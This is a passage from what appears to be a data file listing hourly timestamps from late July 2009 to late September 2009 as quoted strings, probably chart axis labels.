18:00","2009/7/29 19:00","2009/7/29 20:00","2009/7/29 21:00","2009/7/29 22:00","2009/7/29 23:00","2009/7/30 0:00","2009/7/30 1:00","2009/7/30 2:00","2009/7/30 3:00","2009/7/30 4:00","2009/7/30 5:00","2009/7/30 6:00","2009/7/30 7:00","2009/7/30 8:00","2009/7/30 9:00","2009/7/30 10:00","2009/7/30 11:00","2009/7/30 12:00","2009/7/30 13:00","2009/7/30 14:00","2009/7/30 15:00","2009/7/30 16:00","2009/7/30 17:00","2009/7/30 18:00","2009/7/30 19:00","2009/7/30 20:00","2009/7/30 21:00","2009/7/30 22:00","2009/7/30 23:00","2009/7/31 0:00","2009/7/31 1:00","2009/7/31 2:00","2009/7/31 3:00","2009/7/31 4:00","2009/7/31 5:00","2009/7/31 6:00","2009/7/31 7:00","2009/7/31 8:00","2009/7/31 9:00","2009/7/31 10:00","2009/7/31 11:00","2009/7/31 12:00","2009/7/31 13:00","2009/7/31 14:00","2009/7/31 15:00","2009/7/31 16:00","2009/7/31 17:00","2009/7/31 18:00","2009/7/31 19:00","2009/7/31 20:00","2009/7/31 21:00","2009/7/31 22:00","2009/7/31 23:00","2009/8/1 0:00","2009/8/1 1:00","2009/8/1 2:00","2009/8/1 3:00","2009/8/1 4:00","2009/8/1 5:00","2009/8/1 6:00","2009/8/1 7:00","2009/8/1 8:00","2009/8/1 9:00","2009/8/1 10:00","2009/8/1 11:00","2009/8/1 12:00","2009/8/1 13:00","2009/8/1 14:00","2009/8/1 15:00","2009/8/1 16:00","2009/8/1 17:00","2009/8/1 18:00","2009/8/1 19:00","2009/8/1 20:00","2009/8/1 21:00","2009/8/1 22:00","2009/8/1 23:00","2009/8/2 0:00","2009/8/2 1:00","2009/8/2 2:00","2009/8/2 3:00","2009/8/2 4:00","2009/8/2 5:00","2009/8/2 6:00","2009/8/2 7:00","2009/8/2 8:00","2009/8/2 9:00","2009/8/2 10:00","2009/8/2 11:00","2009/8/2 12:00","2009/8/2 13:00","2009/8/2 14:00","2009/8/2 15:00","2009/8/2 16:00","2009/8/2 17:00","2009/8/2 18:00","2009/8/2 19:00","2009/8/2 20:00","2009/8/2 21:00","2009/8/2 22:00","2009/8/2 23:00","2009/8/3 0:00","2009/8/3 1:00","2009/8/3 2:00","2009/8/3 3:00","2009/8/3 4:00","2009/8/3 5:00","2009/8/3 6:00","2009/8/3 7:00","2009/8/3 8:00","2009/8/3 9:00","2009/8/3 10:00","2009/8/3 11:00","2009/8/3 12:00","2009/8/3 13:00","2009/8/3 14:00","2009/8/3 15:00","2009/8/3 16:00","2009/8/3 17:00","2009/8/3 18:00","2009/8/3 19:00","2009/8/3 20:00","2009/8/3 21:00","2009/8/3 22:00","2009/8/3 23:00","2009/8/4 0:00","2009/8/4 1:00","2009/8/4 2:00","2009/8/4 3:00","2009/8/4 4:00","2009/8/4 5:00","2009/8/4 6:00","2009/8/4 7:00","2009/8/4 8:00","2009/8/4 9:00","2009/8/4 10:00","2009/8/4 11:00","2009/8/4 12:00","2009/8/4 13:00","2009/8/4 14:00","2009/8/4 15:00","2009/8/4 16:00","2009/8/4 17:00","2009/8/4 18:00","2009/8/4 19:00","2009/8/4 20:00","2009/8/4 21:00","2009/8/4 22:00","2009/8/4 23:00","2009/8/5 0:00","2009/8/5 1:00","2009/8/5 2:00","2009/8/5 3:00","2009/8/5 4:00","2009/8/5 5:00","2009/8/5 6:00","2009/8/5 7:00","2009/8/5 8:00","2009/8/5 9:00","2009/8/5 10:00","2009/8/5 11:00","2009/8/5 12:00","2009/8/5 13:00","2009/8/5 14:00","2009/8/5 15:00","2009/8/5 16:00","2009/8/5 17:00","2009/8/5 18:00","2009/8/5 19:00","2009/8/5 20:00","2009/8/5 21:00","2009/8/5 22:00","2009/8/5 23:00","2009/8/6 0:00","2009/8/6 1:00","2009/8/6 2:00","2009/8/6 3:00","2009/8/6 4:00","2009/8/6 5:00","2009/8/6 6:00","2009/8/6 7:00","2009/8/6 8:00","2009/8/6 9:00","2009/8/6 10:00","2009/8/6 11:00","2009/8/6 12:00","2009/8/6 13:00","2009/8/6 14:00","2009/8/6 15:00","2009/8/6 16:00","2009/8/6 17:00","2009/8/6 18:00","2009/8/6 19:00","2009/8/6 20:00","2009/8/6 21:00","2009/8/6 22:00","2009/8/6 23:00","2009/8/7 0:00","2009/8/7 1:00","2009/8/7 2:00","2009/8/7 3:00","2009/8/7 4:00","2009/8/7 5:00","2009/8/7 6:00","2009/8/7 7:00","2009/8/7 8:00","2009/8/7 9:00","2009/8/7 10:00","2009/8/7 11:00","2009/8/7 12:00","2009/8/7 13:00","2009/8/7 14:00","2009/8/7 15:00","2009/8/7 16:00","2009/8/7 17:00","2009/8/7 18:00","2009/8/7 19:00","2009/8/7 20:00","2009/8/7 21:00","2009/8/7 22:00","2009/8/7 23:00","2009/8/8 0:00","2009/8/8 1:00","2009/8/8 2:00","2009/8/8 3:00","2009/8/8 4:00","2009/8/8 5:00","2009/8/8 6:00","2009/8/8 7:00","2009/8/8 8:00","2009/8/8 9:00","2009/8/8 10:00","2009/8/8 11:00","2009/8/8 12:00","2009/8/8 13:00","2009/8/8 14:00","2009/8/8 15:00","2009/8/8 16:00","2009/8/8 17:00","2009/8/8 18:00","2009/8/8 19:00","2009/8/8 20:00","2009/8/8 21:00","2009/8/8 22:00","2009/8/8 23:00","2009/8/9 0:00","2009/8/9 1:00","2009/8/9 2:00","2009/8/9 3:00","2009/8/9 4:00","2009/8/9 5:00","2009/8/9 6:00","2009/8/9 7:00","2009/8/9 8:00","2009/8/9 9:00","2009/8/9 10:00","2009/8/9 11:00","2009/8/9 12:00","2009/8/9 13:00","2009/8/9 14:00","2009/8/9 15:00","2009/8/9 16:00","2009/8/9 17:00","2009/8/9 18:00","2009/8/9 19:00","2009/8/9 20:00","2009/8/9 21:00","2009/8/9 22:00","2009/8/9 23:00","2009/8/10 0:00","2009/8/10 1:00","2009/8/10 2:00","2009/8/10 3:00","2009/8/10 4:00","2009/8/10 5:00","2009/8/10 6:00","2009/8/10 7:00","2009/8/10 8:00","2009/8/10 9:00","2009/8/10 10:00","2009/8/10 11:00","2009/8/10 12:00","2009/8/10 13:00","2009/8/10 14:00","2009/8/10 15:00","2009/8/10 16:00","2009/8/10 17:00","2009/8/10 18:00","2009/8/10 19:00","2009/8/10 20:00","2009/8/10 21:00","2009/8/10 22:00","2009/8/10 23:00","2009/8/11 0:00","2009/8/11 1:00","2009/8/11 2:00","2009/8/11 3:00","2009/8/11 4:00","2009/8/11 5:00","2009/8/11 6:00","2009/8/11 7:00","2009/8/11 8:00","2009/8/11 9:00","2009/8/11 10:00","2009/8/11 11:00","2009/8/11 12:00","2009/8/11 13:00","2009/8/11 14:00","2009/8/11 15:00","2009/8/11 16:00","2009/8/11 17:00","2009/8/11 18:00","2009/8/11 19:00","2009/8/11 20:00","2009/8/11 21:00","2009/8/11 22:00","2009/8/11 23:00","2009/8/12 0:00","2009/8/12 1:00","2009/8/12 2:00","2009/8/12 3:00","2009/8/12 4:00","2009/8/12 5:00","2009/8/12 6:00","2009/8/12 7:00","2009/8/12 8:00","2009/8/12 9:00","2009/8/12 10:00","2009/8/12 11:00","2009/8/12 12:00","2009/8/12 13:00","2009/8/12 14:00","2009/8/12 15:00","2009/8/12 16:00","2009/8/12 17:00","2009/8/12 18:00","2009/8/12 19:00","2009/8/12 20:00","2009/8/12 21:00","2009/8/12 22:00","2009/8/12 23:00","2009/8/13 0:00","2009/8/13 1:00","2009/8/13 2:00","2009/8/13 3:00","2009/8/13 4:00","2009/8/13 5:00","2009/8/13 6:00","2009/8/13 7:00","2009/8/13 8:00","2009/8/13 9:00","2009/8/13 10:00","2009/8/13 11:00","2009/8/13 12:00","2009/8/13 13:00","2009/8/13 14:00","2009/8/13 15:00","2009/8/13 16:00","2009/8/13 17:00","2009/8/13 18:00","2009/8/13 19:00","2009/8/13 20:00","2009/8/13 21:00","2009/8/13 22:00","2009/8/13 23:00","2009/8/14 0:00","2009/8/14 1:00","2009/8/14 2:00","2009/8/14 3:00","2009/8/14 4:00","2009/8/14 5:00","2009/8/14 6:00","2009/8/14 7:00","2009/8/14 8:00","2009/8/14 9:00","2009/8/14 10:00","2009/8/14 11:00","2009/8/14 12:00","2009/8/14 13:00","2009/8/14 14:00","2009/8/14 15:00","2009/8/14 16:00","2009/8/14 17:00","2009/8/14 18:00","2009/8/14 19:00","2009/8/14 20:00","2009/8/14 21:00","2009/8/14 22:00","2009/8/14 23:00","2009/8/15 0:00","2009/8/15 1:00","2009/8/15 2:00","2009/8/15 3:00","2009/8/15 4:00","2009/8/15 5:00","2009/8/15 6:00","2009/8/15 7:00","2009/8/15 8:00","2009/8/15 9:00","2009/8/15 10:00","2009/8/15 11:00","2009/8/15 12:00","2009/8/15 13:00","2009/8/15 14:00","2009/8/15 15:00","2009/8/15 16:00","2009/8/15 17:00","2009/8/15 18:00","2009/8/15 19:00","2009/8/15 20:00","2009/8/15 21:00","2009/8/15 22:00","2009/8/15 23:00","2009/8/16 0:00","2009/8/16 1:00","2009/8/16 2:00","2009/8/16 3:00","2009/8/16 4:00","2009/8/16 5:00","2009/8/16 6:00","2009/8/16 7:00","2009/8/16 8:00","2009/8/16 9:00","2009/8/16 10:00","2009/8/16 11:00","2009/8/16 12:00","2009/8/16 13:00","2009/8/16 14:00","2009/8/16 15:00","2009/8/16 16:00","2009/8/16 17:00","2009/8/16 18:00","2009/8/16 19:00","2009/8/16 20:00","2009/8/16 21:00","2009/8/16 22:00","2009/8/16 23:00","2009/8/17 0:00","2009/8/17 1:00","2009/8/17 2:00","2009/8/17 3:00","2009/8/17 4:00","2009/8/17 5:00","2009/8/17 6:00","2009/8/17 7:00","2009/8/17 8:00","2009/8/17 9:00","2009/8/17 10:00","2009/8/17 11:00","2009/8/17 12:00","2009/8/17 13:00","2009/8/17 14:00","2009/8/17 15:00","2009/8/17 16:00","2009/8/17 17:00","2009/8/17 18:00","2009/8/17 19:00","2009/8/17 20:00","2009/8/17 21:00","2009/8/17 22:00","2009/8/17 23:00","2009/8/18 0:00","2009/8/18 1:00","2009/8/18 2:00","2009/8/18 3:00","2009/8/18 4:00","2009/8/18 5:00","2009/8/18 6:00","2009/8/18 7:00","2009/8/18 8:00","2009/8/18 9:00","2009/8/18 10:00","2009/8/18 11:00","2009/8/18 12:00","2009/8/18 13:00","2009/8/18 14:00","2009/8/18 15:00","2009/8/18 16:00","2009/8/18 17:00","2009/8/18 18:00","2009/8/18 19:00","2009/8/18 20:00","2009/8/18 21:00","2009/8/18 22:00","2009/8/18 23:00","2009/8/19 0:00","2009/8/19 1:00","2009/8/19 2:00","2009/8/19 3:00","2009/8/19 4:00","2009/8/19 5:00","2009/8/19 6:00","2009/8/19 7:00","2009/8/19 8:00","2009/8/19 9:00","2009/8/19 10:00","2009/8/19 11:00","2009/8/19 12:00","2009/8/19 13:00","2009/8/19 14:00","2009/8/19 15:00","2009/8/19 16:00","2009/8/19 17:00","2009/8/19 18:00","2009/8/19 19:00","2009/8/19 20:00","2009/8/19 21:00","2009/8/19 22:00","2009/8/19 23:00","2009/8/20 0:00","2009/8/20 1:00","2009/8/20 2:00","2009/8/20 3:00","2009/8/20 4:00","2009/8/20 5:00","2009/8/20 6:00","2009/8/20 7:00","2009/8/20 8:00","2009/8/20 9:00","2009/8/20 10:00","2009/8/20 11:00","2009/8/20 12:00","2009/8/20 13:00","2009/8/20 14:00","2009/8/20 15:00","2009/8/20 16:00","2009/8/20 17:00","2009/8/20 18:00","2009/8/20 19:00","2009/8/20 20:00","2009/8/20 21:00","2009/8/20 22:00","2009/8/20 23:00","2009/8/21 0:00","2009/8/21 1:00","2009/8/21 2:00","2009/8/21 3:00","2009/8/21 4:00","2009/8/21 5:00","2009/8/21 6:00","2009/8/21 7:00","2009/8/21 8:00","2009/8/21 9:00","2009/8/21 10:00","2009/8/21 11:00","2009/8/21 12:00","2009/8/21 13:00","2009/8/21 14:00","2009/8/21 15:00","2009/8/21 16:00","2009/8/21 17:00","2009/8/21 18:00","2009/8/21 19:00","2009/8/21 20:00","2009/8/21 21:00","2009/8/21 22:00","2009/8/21 23:00","2009/8/22 0:00","2009/8/22 1:00","2009/8/22 2:00","2009/8/22 3:00","2009/8/22 4:00","2009/8/22 5:00","2009/8/22 6:00","2009/8/22 7:00","2009/8/22 8:00","2009/8/22 9:00","2009/8/22 10:00","2009/8/22 11:00","2009/8/22 12:00","2009/8/22 13:00","2009/8/22 14:00","2009/8/22 15:00","2009/8/22 16:00","2009/8/22 17:00","2009/8/22 18:00","2009/8/22 19:00","2009/8/22 20:00","2009/8/22 21:00","2009/8/22 22:00","2009/8/22 23:00","2009/8/23 0:00","2009/8/23 1:00","2009/8/23 2:00","2009/8/23 3:00","2009/8/23 4:00","2009/8/23 5:00","2009/8/23 6:00","2009/8/23 7:00","2009/8/23 8:00","2009/8/23 9:00","2009/8/23 10:00","2009/8/23 11:00","2009/8/23 12:00","2009/8/23 13:00","2009/8/23 14:00","2009/8/23 15:00","2009/8/23 16:00","2009/8/23 17:00","2009/8/23 18:00","2009/8/23 19:00","2009/8/23 20:00","2009/8/23 21:00","2009/8/23 22:00","2009/8/23 23:00","2009/8/24 0:00","2009/8/24 1:00","2009/8/24 2:00","2009/8/24 3:00","2009/8/24 4:00","2009/8/24 5:00","2009/8/24 6:00","2009/8/24 7:00","2009/8/24 8:00","2009/8/24 9:00","2009/8/24 10:00","2009/8/24 11:00","2009/8/24 12:00","2009/8/24 13:00","2009/8/24 14:00","2009/8/24 15:00","2009/8/24 16:00","2009/8/24 17:00","2009/8/24 18:00","2009/8/24 19:00","2009/8/24 20:00","2009/8/24 21:00","2009/8/24 22:00","2009/8/24 23:00","2009/8/25 0:00","2009/8/25 1:00","2009/8/25 2:00","2009/8/25 3:00","2009/8/25 4:00","2009/8/25 5:00","2009/8/25 6:00","2009/8/25 7:00","2009/8/25 8:00","2009/8/25 9:00","2009/8/25 10:00","2009/8/25 11:00","2009/8/25 12:00","2009/8/25 13:00","2009/8/25 14:00","2009/8/25 15:00","2009/8/25 16:00","2009/8/25 17:00","2009/8/25 18:00","2009/8/25 19:00","2009/8/25 20:00","2009/8/25 21:00","2009/8/25 22:00","2009/8/25 23:00","2009/8/26 0:00","2009/8/26 1:00","2009/8/26 2:00","2009/8/26 3:00","2009/8/26 4:00","2009/8/26 5:00","2009/8/26 6:00","2009/8/26 7:00","2009/8/26 8:00","2009/8/26 9:00","2009/8/26 10:00","2009/8/26 11:00","2009/8/26 12:00","2009/8/26 13:00","2009/8/26 14:00","2009/8/26 15:00","2009/8/26 16:00","2009/8/26 17:00","2009/8/26 18:00","2009/8/26 19:00","2009/8/26 20:00","2009/8/26 21:00","2009/8/26 22:00","2009/8/26 23:00","2009/8/27 0:00","2009/8/27 1:00","2009/8/27 2:00","2009/8/27 3:00","2009/8/27 4:00","2009/8/27 5:00","2009/8/27 6:00","2009/8/27 7:00","2009/8/27 8:00","2009/8/27 9:00","2009/8/27 10:00","2009/8/27 11:00","2009/8/27 12:00","2009/8/27 13:00","2009/8/27 14:00","2009/8/27 15:00","2009/8/27 16:00","2009/8/27 17:00","2009/8/27 18:00","2009/8/27 19:00","2009/8/27 20:00","2009/8/27 21:00","2009/8/27 22:00","2009/8/27 23:00","2009/8/28 0:00","2009/8/28 1:00","2009/8/28 2:00","2009/8/28 3:00","2009/8/28 4:00","2009/8/28 5:00","2009/8/28 6:00","2009/8/28 7:00","2009/8/28 8:00","2009/8/28 9:00","2009/8/28 10:00","2009/8/28 11:00","2009/8/28 12:00","2009/8/28 13:00","2009/8/28 14:00","2009/8/28 15:00","2009/8/28 16:00","2009/8/28 17:00","2009/8/28 18:00","2009/8/28 19:00","2009/8/28 20:00","2009/8/28 21:00","2009/8/28 22:00","2009/8/28 23:00","2009/8/29 0:00","2009/8/29 1:00","2009/8/29 2:00","2009/8/29 3:00","2009/8/29 4:00","2009/8/29 5:00","2009/8/29 6:00","2009/8/29 7:00","2009/8/29 8:00","2009/8/29 9:00","2009/8/29 10:00","2009/8/29 11:00","2009/8/29 12:00","2009/8/29 13:00","2009/8/29 14:00","2009/8/29 15:00","2009/8/29 16:00","2009/8/29 17:00","2009/8/29 18:00","2009/8/29 19:00","2009/8/29 20:00","2009/8/29 21:00","2009/8/29 22:00","2009/8/29 23:00","2009/8/30 0:00","2009/8/30 1:00","2009/8/30 2:00","2009/8/30 3:00","2009/8/30 4:00","2009/8/30 5:00","2009/8/30 6:00","2009/8/30 7:00","2009/8/30 8:00","2009/8/30 9:00","2009/8/30 10:00","2009/8/30 11:00","2009/8/30 12:00","2009/8/30 13:00","2009/8/30 14:00","2009/8/30 15:00","2009/8/30 16:00","2009/8/30 17:00","2009/8/30 18:00","2009/8/30 19:00","2009/8/30 20:00","2009/8/30 21:00","2009/8/30 22:00","2009/8/30 23:00","2009/8/31 0:00","2009/8/31 1:00","2009/8/31 2:00","2009/8/31 3:00","2009/8/31 4:00","2009/8/31 5:00","2009/8/31 6:00","2009/8/31 7:00","2009/8/31 8:00","2009/8/31 9:00","2009/8/31 10:00","2009/8/31 11:00","2009/8/31 12:00","2009/8/31 13:00","2009/8/31 14:00","2009/8/31 15:00","2009/8/31 16:00","2009/8/31 17:00","2009/8/31 18:00","2009/8/31 19:00","2009/8/31 20:00","2009/8/31 21:00","2009/8/31 22:00","2009/8/31 23:00","2009/9/1 0:00","2009/9/1 1:00","2009/9/1 2:00","2009/9/1 3:00","2009/9/1 4:00","2009/9/1 5:00","2009/9/1 6:00","2009/9/1 7:00","2009/9/1 8:00","2009/9/1 9:00","2009/9/1 10:00","2009/9/1 11:00","2009/9/1 12:00","2009/9/1 13:00","2009/9/1 14:00","2009/9/1 15:00","2009/9/1 16:00","2009/9/1 17:00","2009/9/1 18:00","2009/9/1 19:00","2009/9/1 20:00","2009/9/1 21:00","2009/9/1 22:00","2009/9/1 23:00","2009/9/2 0:00","2009/9/2 1:00","2009/9/2 2:00","2009/9/2 3:00","2009/9/2 4:00","2009/9/2 5:00","2009/9/2 6:00","2009/9/2 7:00","2009/9/2 8:00","2009/9/2 9:00","2009/9/2 10:00","2009/9/2 11:00","2009/9/2 12:00","2009/9/2 13:00","2009/9/2 14:00","2009/9/2 15:00","2009/9/2 16:00","2009/9/2 17:00","2009/9/2 18:00","2009/9/2 19:00","2009/9/2 20:00","2009/9/2 21:00","2009/9/2 22:00","2009/9/2 23:00","2009/9/3 0:00","2009/9/3 1:00","2009/9/3 2:00","2009/9/3 3:00","2009/9/3 4:00","2009/9/3 5:00","2009/9/3 6:00","2009/9/3 7:00","2009/9/3 8:00","2009/9/3 9:00","2009/9/3 10:00","2009/9/3 11:00","2009/9/3 12:00","2009/9/3 13:00","2009/9/3 14:00","2009/9/3 15:00","2009/9/3 16:00","2009/9/3 17:00","2009/9/3 18:00","2009/9/3 19:00","2009/9/3 20:00","2009/9/3 21:00","2009/9/3 22:00","2009/9/3 23:00","2009/9/4 0:00","2009/9/4 1:00","2009/9/4 2:00","2009/9/4 3:00","2009/9/4 4:00","2009/9/4 5:00","2009/9/4 6:00","2009/9/4 7:00","2009/9/4 8:00","2009/9/4 9:00","2009/9/4 10:00","2009/9/4 11:00","2009/9/4 12:00","2009/9/4 13:00","2009/9/4 14:00","2009/9/4 15:00","2009/9/4 16:00","2009/9/4 17:00","2009/9/4 18:00","2009/9/4 19:00","2009/9/4 20:00","2009/9/4 21:00","2009/9/4 22:00","2009/9/4 23:00","2009/9/5 0:00","2009/9/5 1:00","2009/9/5 2:00","2009/9/5 3:00","2009/9/5 4:00","2009/9/5 5:00","2009/9/5 6:00","2009/9/5 7:00","2009/9/5 8:00","2009/9/5 9:00","2009/9/5 10:00","2009/9/5 11:00","2009/9/5 12:00","2009/9/5 13:00","2009/9/5 14:00","2009/9/5 15:00","2009/9/5 16:00","2009/9/5 17:00","2009/9/5 18:00","2009/9/5 19:00","2009/9/5 20:00","2009/9/5 21:00","2009/9/5 22:00","2009/9/5 23:00","2009/9/6 0:00","2009/9/6 1:00","2009/9/6 2:00","2009/9/6 3:00","2009/9/6 4:00","2009/9/6 5:00","2009/9/6 6:00","2009/9/6 7:00","2009/9/6 8:00","2009/9/6 9:00","2009/9/6 10:00","2009/9/6 11:00","2009/9/6 12:00","2009/9/6 13:00","2009/9/6 14:00","2009/9/6 15:00","2009/9/6 16:00","2009/9/6 17:00","2009/9/6 18:00","2009/9/6 19:00","2009/9/6 20:00","2009/9/6 21:00","2009/9/6 22:00","2009/9/6 23:00","2009/9/7 0:00","2009/9/7 1:00","2009/9/7 2:00","2009/9/7 3:00","2009/9/7 4:00","2009/9/7 5:00","2009/9/7 6:00","2009/9/7 7:00","2009/9/7 8:00","2009/9/7 9:00","2009/9/7 10:00","2009/9/7 11:00","2009/9/7 12:00","2009/9/7 13:00","2009/9/7 14:00","2009/9/7 15:00","2009/9/7 16:00","2009/9/7 17:00","2009/9/7 18:00","2009/9/7 19:00","2009/9/7 20:00","2009/9/7 21:00","2009/9/7 22:00","2009/9/7 23:00","2009/9/8 0:00","2009/9/8 1:00","2009/9/8 2:00","2009/9/8 3:00","2009/9/8 4:00","2009/9/8 5:00","2009/9/8 6:00","2009/9/8 7:00","2009/9/8 8:00","2009/9/8 9:00","2009/9/8 10:00","2009/9/8 11:00","2009/9/8 12:00","2009/9/8 13:00","2009/9/8 14:00","2009/9/8 15:00","2009/9/8 16:00","2009/9/8 17:00","2009/9/8 18:00","2009/9/8 19:00","2009/9/8 20:00","2009/9/8 21:00","2009/9/8 22:00","2009/9/8 23:00","2009/9/9 0:00","2009/9/9 1:00","2009/9/9 2:00","2009/9/9 3:00","2009/9/9 4:00","2009/9/9 5:00","2009/9/9 6:00","2009/9/9 7:00","2009/9/9 8:00","2009/9/9 9:00","2009/9/9 10:00","2009/9/9 11:00","2009/9/9 12:00","2009/9/9 13:00","2009/9/9 14:00","2009/9/9 15:00","2009/9/9 16:00","2009/9/9 17:00","2009/9/9 18:00","2009/9/9 19:00","2009/9/9 20:00","2009/9/9 21:00","2009/9/9 22:00","2009/9/9 23:00","2009/9/10 0:00","2009/9/10 1:00","2009/9/10 2:00","2009/9/10 3:00","2009/9/10 4:00","2009/9/10 5:00","2009/9/10 6:00","2009/9/10 7:00","2009/9/10 8:00","2009/9/10 9:00","2009/9/10 10:00","2009/9/10 11:00","2009/9/10 12:00","2009/9/10 13:00","2009/9/10 14:00","2009/9/10 15:00","2009/9/10 16:00","2009/9/10 17:00","2009/9/10 18:00","2009/9/10 19:00","2009/9/10 20:00","2009/9/10 21:00","2009/9/10 22:00","2009/9/10 23:00","2009/9/11 0:00","2009/9/11 1:00","2009/9/11 2:00","2009/9/11 3:00","2009/9/11 4:00","2009/9/11 5:00","2009/9/11 6:00","2009/9/11 7:00","2009/9/11 8:00","2009/9/11 9:00","2009/9/11 10:00","2009/9/11 11:00","2009/9/11 12:00","2009/9/11 13:00","2009/9/11 14:00","2009/9/11 15:00","2009/9/11 16:00","2009/9/11 17:00","2009/9/11 18:00","2009/9/11 19:00","2009/9/11 20:00","2009/9/11 21:00","2009/9/11 22:00","2009/9/11 23:00","2009/9/12 0:00","2009/9/12 1:00","2009/9/12 2:00","2009/9/12 3:00","2009/9/12 4:00","2009/9/12 5:00","2009/9/12 6:00","2009/9/12 7:00","2009/9/12 8:00","2009/9/12 9:00","2009/9/12 10:00","2009/9/12 11:00","2009/9/12 12:00","2009/9/12 13:00","2009/9/12 14:00","2009/9/12 15:00","2009/9/12 16:00","2009/9/12 17:00","2009/9/12 18:00","2009/9/12 19:00","2009/9/12 20:00","2009/9/12 21:00","2009/9/12 22:00","2009/9/12 23:00","2009/9/13 0:00","2009/9/13 1:00","2009/9/13 2:00","2009/9/13 3:00","2009/9/13 4:00","2009/9/13 5:00","2009/9/13 6:00","2009/9/13 7:00","2009/9/13 8:00","2009/9/13 9:00","2009/9/13 10:00","2009/9/13 11:00","2009/9/13 12:00","2009/9/13 13:00","2009/9/13 14:00","2009/9/13 15:00","2009/9/13 16:00","2009/9/13 17:00","2009/9/13 18:00","2009/9/13 19:00","2009/9/13 20:00","2009/9/13 21:00","2009/9/13 22:00","2009/9/13 23:00","2009/9/14 0:00","2009/9/14 1:00","2009/9/14 2:00","2009/9/14 3:00","2009/9/14 4:00","2009/9/14 5:00","2009/9/14 6:00","2009/9/14 7:00","2009/9/14 8:00","2009/9/14 9:00","2009/9/14 10:00","2009/9/14 11:00","2009/9/14 12:00","2009/9/14 13:00","2009/9/14 14:00","2009/9/14 15:00","2009/9/14 16:00","2009/9/14 17:00","2009/9/14 18:00","2009/9/14 19:00","2009/9/14 20:00","2009/9/14 21:00","2009/9/14 22:00","2009/9/14 23:00","2009/9/15 0:00","2009/9/15 1:00","2009/9/15 2:00","2009/9/15 3:00","2009/9/15 4:00","2009/9/15 5:00","2009/9/15 6:00","2009/9/15 7:00","2009/9/15 8:00","2009/9/15 9:00","2009/9/15 10:00","2009/9/15 11:00","2009/9/15 12:00","2009/9/15 13:00","2009/9/15 14:00","2009/9/15 15:00","2009/9/15 16:00","2009/9/15 17:00","2009/9/15 18:00","2009/9/15 19:00","2009/9/15 20:00","2009/9/15 21:00","2009/9/15 22:00","2009/9/15 23:00","2009/9/16 0:00","2009/9/16 1:00","2009/9/16 2:00","2009/9/16 3:00","2009/9/16 4:00","2009/9/16 5:00","2009/9/16 6:00","2009/9/16 7:00","2009/9/16 8:00","2009/9/16 9:00","2009/9/16 10:00","2009/9/16 11:00","2009/9/16 12:00","2009/9/16 13:00","2009/9/16 14:00","2009/9/16 15:00","2009/9/16 16:00","2009/9/16 17:00","2009/9/16 18:00","2009/9/16 19:00","2009/9/16 20:00","2009/9/16 21:00","2009/9/16 22:00","2009/9/16 23:00","2009/9/17 0:00","2009/9/17 1:00","2009/9/17 2:00","2009/9/17 3:00","2009/9/17 4:00","2009/9/17 5:00","2009/9/17 6:00","2009/9/17 7:00","2009/9/17 8:00","2009/9/17 9:00","2009/9/17 10:00","2009/9/17 11:00","2009/9/17 12:00","2009/9/17 13:00","2009/9/17 14:00","2009/9/17 15:00","2009/9/17 16:00","2009/9/17 17:00","2009/9/17 18:00","2009/9/17 19:00","2009/9/17 20:00","2009/9/17 21:00","2009/9/17 22:00","2009/9/17 23:00","2009/9/18 0:00","2009/9/18 1:00","2009/9/18 2:00","2009/9/18 3:00","2009/9/18 4:00","2009/9/18 5:00","2009/9/18 6:00","2009/9/18 7:00","2009/9/18 8:00","2009/9/18 9:00","2009/9/18 10:00","2009/9/18 11:00","2009/9/18 12:00","2009/9/18 13:00","2009/9/18 14:00","2009/9/18 15:00","2009/9/18 16:00","2009/9/18 17:00","2009/9/18 18:00","2009/9/18 19:00","2009/9/18 20:00","2009/9/18 21:00","2009/9/18 22:00","2009/9/18 23:00","2009/9/19 0:00","2009/9/19 1:00","2009/9/19 2:00","2009/9/19 3:00","2009/9/19 4:00","2009/9/19 5:00","2009/9/19 6:00","2009/9/19 7:00","2009/9/19 8:00","2009/9/19 9:00","2009/9/19 10:00","2009/9/19 11:00","2009/9/19 12:00","2009/9/19 13:00","2009/9/19 14:00","2009/9/19 15:00","2009/9/19 16:00","2009/9/19 17:00","2009/9/19 18:00","2009/9/19 19:00","2009/9/19 20:00","2009/9/19 21:00","2009/9/19 22:00","2009/9/19 23:00","2009/9/20 0:00","2009/9/20 1:00","2009/9/20 2:00","2009/9/20 3:00","2009/9/20 4:00","2009/9/20 5:00","2009/9/20 6:00","2009/9/20 7:00","2009/9/20 8:00","2009/9/20 9:00","2009/9/20 10:00","2009/9/20 11:00","2009/9/20 12:00","2009/9/20 13:00","2009/9/20 14:00","2009/9/20 15:00","2009/9/20 16:00","2009/9/20 17:00","2009/9/20 18:00","2009/9/20 19:00","2009/9/20 20:00","2009/9/20 21:00","2009/9/20 22:00","2009/9/20 23:00","2009/9/21 0:00","2009/9/21 1:00","2009/9/21 2:00","2009/9/21 3:00","2009/9/21 4:00","2009/9/21 5:00","2009/9/21 6:00","2009/9/21 7:00","2009/9/21 8:00","2009/9/21 9:00","2009/9/21 10:00","2009/9/21 11:00","2009/9/21 12:00","2009/9/21 13:00","2009/9/21 14:00","2009/9/21 15:00","2009/9/21 16:00","2009/9/21 17:00","2009/9/21 18:00","2009/9/21 19:00","2009/9/21 20:00","2009/9/21 21:00","2009/9/21 22:00","2009/9/21 23:00","2009/9/22 0:00","2009/9/22 1:00","2009/9/22 2:00","2009/9/22 3:00","2009/9/22 4:00","2009/9/22 5:00","2009/9/22 6:00","2009/9/22 7:00","2009/9/22 8:00","2009/9/22 9:00","2009/9/22 10:00","2009/9/22 11:00","2009/9/22 12:00","2009/9/22 13:00","2009/9/22 14:00","2009/9/22 15:00","2009/9/22 16:00","2009/9/22 17:00","2009/9/22 18:00","2009/9/22 19:00","2009/9/22 20:00","2009/9/22 21:00","2009/9/22 22:00","2009/9/22 23:00","2009/9/23 0:00","2009/9/23 1:00","2009/9/23 2:00","2009/9/23 3:00","2009/9/23 4:00","2009/9/23 5:00","2009/9/23 6:00","2009/9/23 7:00","2009/9/23 8:00","2009/9/23 9:00","2009/9/23 10:00","2009/9/23 11:00","2009/9/23 12:00","2009/9/23 13:00","2009/9/23 14:00","2009/9/23 15:00","2009/9/23 16:00","2009/9/23 17:00","2009/9/23 18:00","2009/9/23 19:00","2009/9/23 20:00","2009/9/23 21:00","2009/9/23 22:00","2009/9/23 23:00","2009/9/24 0:00","2009/9/24 1:00","2009/9/24 2:00","2009/9/24 3:00","2009/9/24 4:00","2009/9/24 5:00","2009/9/24 6:00","2009/9/24 7:00","2009/9/24 8:00","2009/9/24 9:00","2009/9/24 10:00","2009/9/24 11:00","2009/9/24 12:00","2009/9/24 